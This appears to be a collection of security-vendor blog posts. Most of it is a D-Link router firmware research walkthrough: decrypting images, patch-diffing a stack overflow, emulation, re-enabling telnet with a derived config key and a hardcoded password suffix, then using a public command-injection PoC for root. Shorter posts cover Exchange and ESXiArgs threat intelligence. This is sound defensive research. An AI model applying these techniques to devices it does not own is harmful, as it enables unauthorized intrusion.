To avoid any potential data breaches, it is recommended that users upgrade to a patched version of MinIO (RELEASE.2023-03-20T20-16-18Z) and integrate security tooling such as docker-cli-scan or use Github’s built-in monitoring for supply chain vulnerabilities, which already contains a record referencing this vulnerability.
While the new feature released by OpenAI is a valuable tool for developers who want to access live data from various providers in their ChatGPT integration, security should remain a core design principle.
GreyNoise doesn’t have much common need for detailed firmware analysis. If it’s happening on the internet, we already see it. However, when we do need to investigate vulnerabilities in embedded devices, things can get very complicated, very quickly if no information is publicly available. It can be fun and insightful to learn these skills in the rare case we need them.
In late October 2022, we became aware of CVE-2022-41140, a buffer overflow and remote code execution vulnerability in D-Link routers, which D-Link had been notified of on February 17th. Noting the months-long turnaround time, we decided this was a good chance to perform a learning and discovery exercise.
On March 13th, 2023 we became aware of CVE-2023-24762, a command injection vulnerability in D-Link DIR-867 devices. This recent CVE spurred us to share some of our internal documentation regarding a research spike into D-Link devices.
This blog aims to explain the process of gaining a foothold in firmware or a physical device for vulnerability research and achieving a debuggable interface. While existing Proof-Of-Concept code for (yet another) D-Link vulnerability CVE-2022-1262 is utilized within this document, as well as strong hints at suspect areas of code, don’t expect to find any new ready-to-fire exploits buried in the contents below.
What Vulnerability?
D-Link was notified of CVE-2022-41140, a buffer overflow vulnerability on February 17th, 2022. By November 15th, 2022, no additional information was available, which sparked an investigation into discovering available hints about the nature of the vulnerability. While this accurately speaks to the current state of public vulnerability tracking, we start off our investigation with a simple search on Google for the CVE and find two relevant links:
While the Zero Day Initiative lists the vulnerability as
(…) flaw exists within the lighttpd service, which listens on TCP port 80 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.
the D-Link Technical Support page provides more detailed information
(…) a 3rd party security research team reported Buffer Overflow & RCE vulnerabilities in the Lighttpd software library utilized in DIR-867, DIR-878, and DIR-882/DIR-882-US router firmware.
A stack-based buffer overflow in the prog.cgi binary in D-Link DIR-867. A crafted HTTP request can cause the program to use strcat() to create a overly long string on a 512-byte stack buffer. Authentication is not required to exploit this vulnerability.
Additionally, the D-Link support page provides a table of the Affected Models
Model
Affected FW
Fixed FW
Last Updated
DIR-867
v1.30B07 & Below
Under Development
03/04/2022
DIR-878
v1.30B08-Hotfix & Below
v1.30b08_Beta_Hotfix
04/01/2022
DIR-882-US
v1.30B06-Hotfix & Below
Under Development
03/04/2022
From this information, we can derive that the vulnerability is triggered by an HTTP request to TCP port 80, which will hit the lighttpd service and route to the prog.cgi binary resulting in an overflow on a 512-byte stack buffer.
We can also derive that the vulnerability can be patched/mitigated on some hardware models, but not others.
How to trigger the vulnerability?
The D-Link support pages provide links to download firmware images for the DIR-878, including base firmware versions like v1.30B08 as well as security advisement firmware versions like v1.30B08 Hotfix_04b.
Knowing that we can access the firmware images before/after the security patch for CVE-2022-41140, we will attempt the following steps:
Obtain copies of prog.cgi
We start by downloading a known vulnerable version of the firmware for a model that also offers a patched version. We download DIR-878_REVA_FIRMWARE_v1.30B08.zip and extract the firmware image DIR_878_FW1.30B08.bin.
We run the file command to quickly determine if it’s a commonly known file type. Unfortunately, this returns generic information.
Next, we use a more specialized tool, binwalk, which assists in searching binary images for embedded files and executable code. Again, this produces no results.
A handy feature of binwalk is the -E, --entropy command line flags, which allow you to measure the entropy or “randomness” of a file.
As an example, here is an entropy graph of 1024 bytes of Lorem ipsum:
And here is an entropy graph of DIR_878_FW1.30B08.bin
As you can see, the entropy of our firmware image is very high. Typically, this is indicative that a file is in a compressed archive format or is encrypted. Since neither file nor binwalk identified it as a compressed archive format, it’s reasonable to assume that it may be encrypted.
If you believe a file is encrypted, it’s always a good idea to take a peek at the bytes at the start of the file, just in case there’s an identifiable file header:
At the start of the file is a 4-byte sequence that maps to the ASCII characters “SHRS”.
A quick Google search for “SHRS firmware” turns up relevant results, indicating that we’re on the right track.
After a bit of reading, we can determine that D-Link does indeed encrypt some of their firmware, which is identifiable by the “SHRS” header. The blogs linked above go into depth on how they obtained a copy of the imgdecrypt binary and reverse engineer the binary to determine how to decrypt the firmware and produce the relevant python script.
Since we will be dealing with encryption again later in this blog, we won't go into depth on this specific layer of encryption. Our firmware can be decrypted with:
Taking our decrypted firmware and running it through binwalk again we can see that some file signatures are recognized.
Since file signatures were recognized, we can recursively extract them by using the -e, --extract,and -M, --matryoshka,command lineflags.
This creates nested folders for each extracted layer of the file, ultimately resulting in a cpio-root folder containing the root filesystem for the firmware.
The desired prog.cgi file is located exactly where those familiar with *nix directory structures would expect it to be. However, for completeness, the file can be located by name using:
Now we have a copy of the entire root filesystem, including prog.cgi.
Repeating the same steps on the patched firmware sets us up for the next step.
Patch Diffing
In the previous step, we obtained an unpatched and patched copy of prog.cgi. We’ll rename them prog_old.cgi and prog_new.cgi, respectively, to help keep track.
BinDiff is a comparison tool for binary files, that assists vulnerability researchers and engineers to quickly find differences and similarities in disassembled code
Following the relevant plugin steps to generate a bindiff, we open old/new and begin to look for functions that are very similar but not 1.00, indicating that a small change such as a patch may have been performed.
Uses of strcat()
Using our list of similar (but not exact duplicate!) functions, we work our way down the list, looking for uses of strcat() that have changed between old/new. In this example, the main function:
Old
New
Here we can see that the old binary used strcat() and the new binary has a different set of logic.
The strcat() function concatenates the destination string and the source string, and the result is stored in the destination string.
A quick check of the destination var_20c shows that its size is 0x200, or 512 bytes. For a sanity check, we can list all uses of strcat() throughout the binary.
There are 22 uses of strcat(). After reviewing them, none but the usage within main operate on a 512-byte buffer.
We now have a reasonable candidate for the location of the vulnerability.
Debugging with Emulation
Now that we have a reasonable candidate for a vulnerable code path, the next step is to start determining what conditions are required to actually reach the vulnerable code path. While wiser minds may be able to determine these conditions without needing a debugger, it’s always a safe bet to make getting a debugging interface a priority.
We want to run the necessary components and attach a debugging interface to a running program.
First, we need to determine the attributes of the file we would like to emulate. The file command we used earlier can be used to identify important information about the architecture the binary is meant to run on.
Using QEMU is an easy way to run binaries for other architectures, but with the same operating system as the current one. In this case, we want qemu-mipsel-static which is provided from the qemu-user-static package.
However, we need to know what to run.
There are init scripts that run when a system boots, and we can find the relevant one in /etc_ro/rcS:
It’s best to start at the top and work your way down and Google things where applicable.
Filesystems are mounted
/var/run folder is created if it doesn’t exist
A script to create device (/dev) links is run
The Message Of The Day (motd) is written to the device console
A binary to manage reading/writing to non-volatile random-access memory (nvram) is started in the background
A binary init_system is run with the start command
Understanding the functionality of the init_system binary is elementary:
If init_system start is run, it checks for the presence of /var/run/nvramd.pid. If the pid file is not found, it enters a loop printing lighttpd: waiting for nvram_daemon. If the pid file is found, it branches into the following logic.
nvram is init then closed. sub_400e50 starts a number of .cgi binaries from /etc_ro/lighttpd/www/cgi-bin/, and finally the lighttpd web server is started with:
Using a combination of chroot and qemu-mipsel-static we can minimally and directly launch the lighttpd web service like so:
This results in an error of:
(network.c.747) SSL: Private key does not match the certificate public key, reason: error:02001002:system library:fopen:No such file or directory /var/private/lighttpd.pem
By simply commenting out the SSL related lines in /etc_ro/lighttpd/lighttpd.conf config file, we can just run the web service in HTTP mode exclusively and bypass the error.
Upon further review of the config, we can observe that the lighttpd web service is running in fastcgi mode and HTTP requests to the path /HNAP1/ are routed to be handled by prog.cgi.
If we navigate to our emulated system in a web browser, we can see that a page is loaded, and numerous UI assets load successfully, but the page is blank due to a malformed XML response from the /HNAP1 endpoint.
The root cause of the malformed XML response is due to the default values for nvram not being set. I spent a large amount of time trying to fix this by using LD_PRELOAD tricks and eventually ended up ordering a physical DIR-867 model (guaranteed vulnerable, no patch available) in frustration.
By the time the physical router was about to be delivered, I had a mostly working proxy for calls to functions from libnvram-0.9.28.so, at which point I remembered that the vulnerability was Pre-Authentication. I was trying to fix something that was part of the login flow which, I thought, was necessary.
After taking a bit of time to find a different endpoint to sanity check myself, I found that most of the other pre-auth functions of prog.cgi respond without issue. They are missing default values which would have been stored in nvram, but do not result in errors.
For our purposes, this is enough to work with and proceed forward. Getting a debugger attached by invoking prog.cgi in QEMU with the -g flag starts a GDB connection on port 1234.
Debugging With Physical Device
As stated earlier, I purchased a used physical model DIR-867 router, which is guaranteed to be vulnerable as no patches are available.
After opening the box, I began the setup process and set a device admin password of Password1 and set updates to “manual”.
After completing the setup steps, the router reboots.
Most importantly, I figured out how to reset the router using the button on the back and re-do the setup steps again to make sure nothing that I’d set so far has persisted across a reset.
Now that the router is set up in its most basic state, I do a quick scan for open ports.
Much to my chagrin, there is no 23/tcp open telnet result, despite the telnetd service appearing in the /etc_ro/rcS init scripts I’d found during emulation. I’ll need to find another way to get an interactive interface on the router to run a debugger.
At this point, physically opening the router up and trying to find a UART interface would probably be the quickest path to success. However, as I wasn’t in any particular rush, I decided to try to figure out how to just re-enable the telnet interface since I know from extracting the firmware that the telnetd binary already exists in the firmware.
Running a recursive grep on our extracted firmware shows that “telnet” shows up in many binary files, as well as what appears to be factory and default settings shipped with the device.
Note the telnetEnabled=0. This probably explains why telnet isn’t running. It also seems to indicate that it’s a setting.
While poking around earlier looking for command injection, I located the “System” menu, which allows exporting/importing settings. If we’re lucky, telnetEnabled is a hidden setting we can just flip on and re-import.
Clicking “Save Settings To Local Hard Drive” results in downloading a 5.9kB config.bin file.
We use binwalk to check for known file formats.
It looks like we have a SEAMA firmware header and the config is encrypted. Again, we turn to Google and search for the starting bytes of the file 0x5EA3A417 which returns a very useful C header file that defines the structure of a SEAMA file.
In the same folder on GitHub there’s a corresponding .c file for a command line tool to unpack a SEAMA file, but a quick review does not show any usage of OpenSSL. This likely means D-Link is doing some additional layer of encryption on top of SEAMA, and we’re better off doing some more static analysis on the firmware itself and using the GitHub repo for sanity checking ourselves.
Re-Opening prog.cgi in Binary Ninja and searching for usages of the string “config.bin” we see that it’s used in a single section of code at sub_42ad78.
Taking a closer look at sub_42ad78 we see the following flow graph:
At a high level:
/tmp/config_2g and /tmp/config_5g are written to a manifest file /tmp/sysupgrade.conffiles
The config files are put into a .tar.gz archive with tar czf "-" -T /tmp/sysupgrade.conffiles 2>/dev/null > /var/backup_tmp.tar.gz
sub_42b2f4 reads model_name and hw_version from nvram and returns a string of “<model_name>_<hw_version>”
The /var/backup_tmp.tar.gz file from step 2 is passed through a command mkconfig
The resulting file is returned to be downloaded by the end-user
This results in &var_14c containing mkconfig -a enca -m DIR-867_A1 -i /var/backup_tmp.tar.gz -o /var/backup.tar.gz
Now that we know the command being run to generate the encrypted config.bin, we take a look at /bin/mkconfig to determine what those flags do. We can just run it in QEMU without any arguments to view the help message.
As the description states, it can encapsulate or de-encapsulate a config. However, it’s unclear where the suspected presence of encryption comes into play. A reasonable assumption from looking at the available flags indicates that the -m flag may be used in some sort of key derivation function. Remember that the -m flag is the model_name and hw_version. If the model and hardware version are used for a key derivation function, this would prevent someone from uploading a config from a different D-Link router model and potentially breaking their device.
We can confirm this by taking a peek at the enca function of mkconfig in Binary Ninja:
Indeed, we see the usage of openssl as well as a new, but fully expected binary seama.
In the first relevant part of the program flow, the -m flag (DIR-867_A1) is used in sub_400e30
Then the logic enters a loop that writes the MD5 hash as a hex string to &buffer
The OpenSSL command is as follows:
If we had preferred not to disassemble the function to figure out how the encryption key was generated, we could have simply added the -E "QEMU_STRACE=1" flag when running mkconfig and the resulting key would have shown in the strace output.
As expected, 81F9A6E40BDEC26DB67FE53A555D0E8E is the hex string representation of the MD5 hash of “DIR-867_A1”.
Knowing this is true, we can make a simple shell script to recreate this logic and patch in Telnet support:
Use mkconfig to de-encapsulate (Unpack SEAMA firmware, Decrypt image)
Extract the Gzip’d Tar archive
Replace telnetEnabled=0 with telnetEnabled=1 in /tmp/config_2g
Write /tmp/config_2g and /tmp/config_5g to a manifest
Tar and Gzip the files in the manifest
Use kconfig to encapsule (Encrypt image, Pack SEAMA)
The result being telnetpatched.bin, which should be a valid settings file for us to upload and enable telnet.
Indeed, another nmap scan shows the desired results of an open telnet port.
Unfortunately, when trying to connect, we are instantly prompted for authentication.
After a quick peek at the disassembly of prog.cgi, we can see that the password is set to the value we provided originally, Password1 + @twsz2018
A guess that the username is admin allows us to log in successfully with a password of Password1@twsz2018
While we have successfully logged in over telnet, we are dropped into a limited shell with only a select number of commands available to run. We cannot directly use this shell to load a gdb server and attach it to prog.cgi.
Here we will cheat a bit and leverage CVE-2022-1262, a command injection vulnerability in the protest binary that is available to us in the limited shell. Using the Proof-Of-Concept exploit included in this writeup from Tenable, we spawn another telnetd instance running on port 1337 and running as root.
From here, we can get a hint about the version of Linux headers the firmware was built with by running:
Finally, we can either cross-compile a mips32el uclibc GDB server against Linux headers 3.10.14+ ourselves by using something like crosstool-NG … or we can download a pre-built toolchain matching our criteria from https://toolchains.bootlin.com/
This allows us to transfer a gdb server to /tmp on the physical router and attach gdb to prog.cgi for remote debugging purposes.
Conclusion
Learning how to gain a debuggable interface with both emulated and real D-Link devices is a valuable skill for anyone interested in vulnerability research and network security. By using emulated devices, you can experiment and test in a safe environment before attempting changes to real hardware. The ability to debug real devices can help you identify and fix issues, as well as determine how firmware operates “in the real world”. While it may seem daunting at first, with the right tools and resources, anyone can learn these skills. With this knowledge, you can enhance your understanding of network security and device development, and apply these concepts to future projects, such as writing network signatures for malicious traffic.
GreyNoise tags for command injection CVE-2023-24762 and stack-based buffer overflow CVE-2022-41140 are live and available to all users for tracking related activity:
Microsoft’s Patch Tuesday (Valentine’s Edition) released information on four remote code execution vulnerabilities in Microsoft Exchange, impacting the following versions:
Exchange Server 2019
Exchange Server 2016
Exchange Server 2013
Attackers must have functional authentication to attempt exploitation. If they are successful, they may be able to execute code on the Exchange server as SYSTEM, a mighty Windows account.
Exchange remote code execution vulnerabilities have a bit of a pattern in their history. This history is notable due to authentication being a requirement for exploitation of these newly announced vulnerabilities.
CVE-2023-21529, CVE-2023-21706, and CVE-2023-21707 have similarities to CVE-2022-41082 due to them all requiring authentication to achieve remote code execution, which GreyNoise covered back in September 2022. Readers may know those previous September 2022 vulnerabilities under the “ProxyNotShell” moniker, since an accompanying Server-Side Request Forgery (SSRF) vulnerability was leveraged to bypass the authentication constraint. “As per our last email” we noted this historical pattern of Exchange exploitation in prior blogs as well as tracked recent related activity under the Exchange ProxyNotShell Vuln Check tag which sees regular activity.
Shadowserver, a nonprofit organization which proactively scans the internet and notifies organizations and regional emergency response centers of outstanding exposed vulnerabilities, noted that there were over 87,000 Exchange instances vulnerable to CVE-2023-21529 (the most likely vulnerability entry point of the four new weaknesses).
As of the publishing date of this post, there are no known, public proof-of-concept exploits for these new Exchange vulnerabilities. Unless attackers are attempting to bypass web application firewall signatures that protect against the previous server-side request forgery (SSRF) weakness, it is unlikely we will see any attempts to mass exploit these new weaknesses any time soon. Furthermore, determined attackers have been more stealthy when it comes to attacking self-hosted Exchange servers, amassing solid IP address and domain inventories of these systems, and retargeting them directly for new campaigns.
GreyNoise does not have a tag for any of the four, new Exchange vulnerabilities but is continuing to watch for emergent proof-of-concept code and monitoring activity across the multi-thousand node sensor network for anomalous Exchange exploitation. Specifically, we are keeping a keen eye on any activity related to a SSRF bypass or Exchange credential brute-force meant to meet the authentication constraints needed by an attacker to leverage these vulnerabilities.
GreyNoise researchers will update this post if and when new information becomes available.
Given the likely targeted nature of new, malicious Exchange exploit campaigns, you may be interested in how GreyNoise can help you identify targeted attacks, so you can focus on what matters to your organization.
UPDATE 2023-02-14: in response to an inquiry, GreyNoise researchers went back in time to see if there were exploit attempts closer to when CVE-2021-21974 was released.
From January 1st 2021 through June 1st 2021, 2 IP's were observed exploiting CVE-2021-21974, each active (as observed by GreyNoise sensors) for a single day.
Active 2021-05-25, 45[.]112[.]240[.]81
Active 2021-05-31, 77[.]243[.]181[.]196
In recent days CVE-2021-21974, a heap-overflow vulnerability in VMWare ESXi’s OpenSLP service has been prominently mentioned in the news in relation to a wave of ransomware effecting numerous organizations. The relationship between CVE-2021-21974 and the ransomware campaign may be blown out of proportion. We do not currently know what the initial access vector is, and it is possible it could be any of the vulnerabilities related to ESXi’s OpenSLP service.
The Security Community seems to be focusing on a single vulnerability. GreyNoise believes that CVE-2021-21974 makes sense as an initial access vector, but are not aware of any 1st party sources confirming that to be the case. We encourage defenders to remain vigilant and not accept every vendor at their word (including us).
The objective of the following document is to provide clarity to network defenders surrounding the ransomware campaign as it relates the the following items:
Attribution of exploitation vector to a specific CVE
Metrics of vulnerable hosts
Metrics of compromised hosts
How do you “GreyNoise” an unknown attack vector?
Attribution to a specific CVE
CVE-2021-21974 is a heap-overflow vulnerability in ESXi’s OpenSLP service.
CVE-2020-3992 is a use-after-free vulnerability in ESXi’s OpenSLP service.
CVE-2019-5544 is a heap overwrite vulnerability in ESXi’s OpenSLP service.
Back in October 2022, Juniper Networks wrote a blog regarding the potential usage of CVE-2019-5544 / CVE-2020-3992 as part of an exploitation campaign. Due to log retention on the compromised server they were unable to confidently attribute which specific vulnerability resulted in successful exploitation. Instead they focused their blog on the details of the backdoor that was installed post-exploitation.
On February 3rd, 2023 the cloud hosting provider OVH published a notice regarding an active ransomware campaign effecting many of their ESXi customers, hereafter referred to as “ESXiArgs” due to the ransomware creating files with an extension of .args. As part of their notice they provide the following quote:
According to experts from the ecosystem as well as authorities, the malware is probably using CVE-2021-21974 as compromission vector. Investigation are still ongoing to confirm those assumptions.
On February 6th, 2023 VMWare published a security blog acknowledging the “ESXiArgs” campaign and stated:
VMware has not found evidence that suggests an unknown vulnerability (0-day) is being used to propagate the ransomware used in these recent attacks.
In summary, while there are many 3rd party sources of intelligence directly attributing this ransomware campaign to CVE-2021-21974, the first party sources are not.
Tl;dr:
There are several high-profile OpenSLP vulnerabilities in various versions of ESXi
These vulnerabilities have been exploited in the past to install malicious backdoors
No CVE is being concretely attributed as the initial access vector for the ESXiArgs campaign by first-party sources
Metrics of Vulnerable Hosts
There are many companies that scan the internet with benign intentions for inventory, research, and actionable intelligence. GreyNoise sees these companies on a very regular basis, since we operate “sensors” similar to a honeypot. They scan, and we (GreyNoise) listen.
Without going into too much depth, there is a significant complexity jump between “determining if a port is open on a server” and “determining what protocol is operating on a port”.
For scanners, high interaction protocols such as those used by the ESXi OpenSLP service may be checked on a weekly/monthly basis, whereas more common protocols such as HTTP(s) on common ports like 80/443 may be checked nearly constantly.
Much like the variety of benign internet-wide scanning companies, GreyNoise is not the only organization operating honeypots on the internet. This causes biases in reported metrics of potentially vulnerable servers on the public internet.
Once an incident such as the ESXiArgs campaign has begun, “scanning” organizations will ramp up scanning, and “honeypot” organizations will ramp up honeypots. At this point, the ESXiArgs campaign is already underway and accurate metrics can be drawn upon from other attributes.
Tl;dr:
Metrics regarding vulnerable host counts have biases
Metrics regarding vulnerable host counts are scoped estimates
These metrics are still the most accurate reports available
Metrics of Compromised Hosts
One of the publicly visible aspects of the “ESXiArgs” campaign is that a ransom note is made available on a hosts public IP with a title of How to Restore Your Files.
By performing a query for How to Restore Your Files we can generate a list of the autonomous system organizations and countries affected by this campaign, complete with a generated timestamp since this number will continually fluctuate and is only accurate as a point-in-time metric.
OVH is the predominantly effected hosting provider
France (where OVH is primarily located) is the most impacted region
The estimated count of compromised hosts at the time of writing is between 1,500 and 2,000 nodes. Censys noted that the initial high water mark of compromised nodes was over 3,500.
How do you “GreyNoise” an unknown attack vector?
GreyNoise has had a tag available for tracking and blocking CVE-2021-21974 since June 2021:
At this moment in time, we’re seeing a the Log4j-style conundrum 😬; the majority of CVE related activity is related to benign cybersecurity companies checking for the presence of the vulnerability.
As described above, there is no confirmed reports of the initial CVE exploit vector, so how can GreyNoise help defenders when the attack vector is unknown?
As we explained in our “How to know if I am being targeted” blog, IPs that return no results when searched on GreyNoise are traffic that is targeted at your organization.
If your organization observes a connection from an IP that returns no search results in GreyNoise: You should almost certainly prioritize that investigation, because it’s targeting your organization instead of the entire internet. If you find that the IP not known to GreyNoise was connecting to your organization’s VMWare ESXi on TCP/427, you should definitely prioritize that investigation.
In cases where initial access vectors are unknown, using GreyNoise as a filter for internet background noise can help prioritize the things that matter the most, because absence of a signal is a signal itself.
.png)
.png)
.png)
